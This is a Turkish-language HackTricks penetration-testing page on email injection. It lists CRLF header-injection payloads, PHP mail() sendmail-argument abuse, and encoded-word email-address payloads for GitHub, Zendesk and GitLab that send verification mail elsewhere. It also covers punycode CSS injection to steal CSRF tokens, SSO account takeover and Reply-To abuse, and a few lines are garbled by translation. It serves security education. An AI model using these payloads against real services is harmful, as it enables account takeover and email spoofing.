Email Injections
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Gönderilen e-postaya Enjekte Et
Gönderen argümanından sonra Cc ve Bcc Enjekte Et
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Mesaj, alıcı ve alıcı1 hesaplarına gönderilecektir.
Enjekte argümanı
From:sender@domain.com%0ATo:attacker@domain.com
Mesaj, orijinal alıcıya ve saldırgan hesabına gönderilecektir.
Inject Subject argument
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Sahte konu, orijinal konuya eklenecek ve bazı durumlarda onu değiştirecektir. Bu, mail hizmetinin davranışına bağlıdır.
Mesajın gövdesini değiştir
İki satır besleme enjekte edin, ardından mesajın gövdesini değiştirmek için mesajınızı yazın.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() fonksiyonu istismarı
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
5. parametre ($additional_parameters)
Bu bölüm, bir saldırganın bu parametreyi kontrol ettiğini varsayarak bu parametreyi nasıl kötüye kullanacağımıza dayanacaktır.
Bu parametre, PHP'nin ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecektir. Ancak, escapeshellcmd($additional_parameters)
fonksiyonu ile temizlenecektir.
Bir saldırgan, bu durumda sendmail için ek parametreler enjekte edebilir.
/usr/sbin/sendmail uygulamasındaki farklılıklar
sendmail arayüzü, sistemde kurulu olan MTA e-posta yazılımı (Sendmail, Postfix, Exim vb.) tarafından sağlanmaktadır. Temel işlevsellik (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle aynı kalırken, diğer işlevler ve parametreler kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir.
İşte sendmail komutu/arayüzünün farklı man sayfalarına birkaç örnek:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
sendmail ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak ve dosyaları sızdırmak veya hatta rastgele komutlar çalıştırmak için farklı seçenekler keşfedilmiştir. Bunu nasıl yapacağınızı kontrol edin https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
E-posta adında enjekte et
caution
Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust...) bir hizmette hesap oluşturmayı başarır ve doğrulama e-postasını mail adresinize alarak doğruladıysanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz.
Bir e-postanın göz ardı edilen kısımları
+, - ve {} sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilir.
- Ör. john.doe+intigriti@example.com → john.doe@example.com
Parantez içindeki yorumlar () başlangıçta veya sonunda da göz ardı edilecektir.
- Ör. john.doe(intigriti)@example.com → john.doe@example.com
Beyaz listeyi atlama
Alıntılar
IP'ler
Kare parantezler arasında alan adı olarak IP'ler de kullanabilirsiniz:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
E-posta Kodlaması
bu araştırmada açıklandığı gibi, e-posta adları da kodlanmış karakterler içerebilir:
- PHP 256 taşması: PHP
chr
fonksiyonu, bir karaktere 256 eklemeye devam eder, pozitif hale geldiğinde%256
işlemini yapar. String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @
tip
Bu numaranın amacı, RCPT TO:<"collab@psres.net>collab"@example.com>
gibi bir enjekte ile sonuçlanmaktır.
Bu, doğrulama e-postasını beklenen e-posta adresinden farklı bir e-posta adresine gönderecektir (bu nedenle e-posta adının içine başka bir e-posta adresi eklemek ve e-postayı gönderirken sözdizimini bozmak).
Farklı kodlamalar:
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
Payloadlar:
- Github:
=?x?q?collab=40psres.net=3e=00?=foo@example.com
- Kodlanmış
@
işareti =40, kodlanmış>
işareti=3e
venull
==00
olarak not edin. - Doğrulama e-postası
collab@psres.net
adresine gönderilecektir. - Zendesk:
"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
- Önceki hileyle aynı ama başına bazı normal tırnak ekleyip kodlanmış tırnağı
=22
kodlanmış@
işaretinden önce ekleyerek ve ardından bir sonraki e-posta için bazı tırnakları açıp kapatarak Zendesk'in dahili olarak kullandığı sözdizimini düzeltmek. - Doğrulama e-postası
collab@psres.net
adresine gönderilecektir. - Gitlab:
=?x?q?collab=40psres.net_?=foo@example.com
- Adresi ayırmak için alt çizgi kullanıldığına dikkat edin.
- Doğrulama e-postası
collab@psres.net
adresine gönderilecektir. - Punycode: Punycode kullanarak Joomla'da
<style
etiketi enjekte etmek ve bunu CSRF token'ını CSS dışa aktarımı yoluyla çalmak için kötüye kullanmak mümkün oldu.
Araçlar
- Bu tür kombinasyonları denemek için e-posta formatlarına saldırmak amacıyla Burp Suite Turbo Intruder scripti bulunmaktadır. Script, potansiyel olarak çalışan kombinasyonlara sahiptir.
- Ayrıca Hackvertor kullanarak bir e-posta bölme saldırısı oluşturmak da mümkündür.
Diğer zafiyetler
Üçüncü taraf SSO
XSS
github veya salesforce gibi bazı hizmetler, üzerinde XSS yükleri bulunan bir e-posta adresi oluşturmanıza izin verir. Eğer bu sağlayıcıları diğer hizmetlerde oturum açmak için kullanabiliyorsanız ve bu hizmetler e-postayı doğru bir şekilde temizlemiyorsa, XSS oluşturabilirsiniz.
Hesap Ele Geçirme
Eğer bir SSO hizmeti, verilen e-posta adresini doğrulamadan bir hesap oluşturmanıza izin veriyorsa (örneğin salesforce) ve ardından bu hesabı farklı bir hizmette oturum açmak için kullanabiliyorsanız ve bu hizmet salesforce'a güveniyorsa, herhangi bir hesaba erişebilirsiniz.
Salesforce, verilen e-postanın doğrulanıp doğrulanmadığını belirtir, ancak uygulama bu bilgiyi dikkate almalıdır.
Yanıtla
E-posta gönderebilirsiniz From: company.com ve Replay-To: attacker.com kullanarak ve e-posta içsel bir adresten gönderildiği için herhangi bir otomatik yanıt gönderilirse, saldırgan bu yanıtı alabilir.
Sert İade Oranı
AWS gibi belirli hizmetler, genellikle %10 olarak ayarlanan Sert İade Oranı olarak bilinen bir eşik uygular. Bu, özellikle e-posta teslimat hizmetleri için kritik bir metriktir. Bu oran aşıldığında, AWS'nin e-posta hizmeti gibi hizmetler askıya alınabilir veya engellenebilir.
Sert iade, alıcının adresinin geçersiz veya mevcut olmadığı için gönderenine geri dönen bir e-posta anlamına gelir. Bu, e-postanın mevcut olmayan bir adrese, gerçek olmayan bir alan adına veya alıcı sunucusunun e-postaları kabul etmeyi reddetmesi gibi çeşitli nedenlerden kaynaklanabilir.
AWS bağlamında, 1000 e-posta gönderdiğinizde ve bunlardan 100'ü sert iadelerle sonuçlandığında (geçersiz adresler veya alanlar gibi nedenlerden dolayı), bu %10 sert iade oranı anlamına gelir. Bu orana ulaşmak veya aşmak, AWS SES (Simple Email Service) tarafından e-posta gönderme yeteneklerinizi engelleyebilir veya askıya alabilir.
Kesintisiz e-posta hizmeti sağlamak ve gönderen itibarını korumak için düşük bir sert iade oranını sürdürmek kritik öneme sahiptir. E-posta listelerinizdeki e-posta adreslerinin kalitesini izlemek ve yönetmek, bunu başarmada önemli ölçüde yardımcı olabilir.
Daha ayrıntılı bilgi için, AWS'nin iade ve şikayetleri ele alma konusundaki resmi belgelerine AWS SES Bounce Handling başvurabilirsiniz.
Referanslar
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.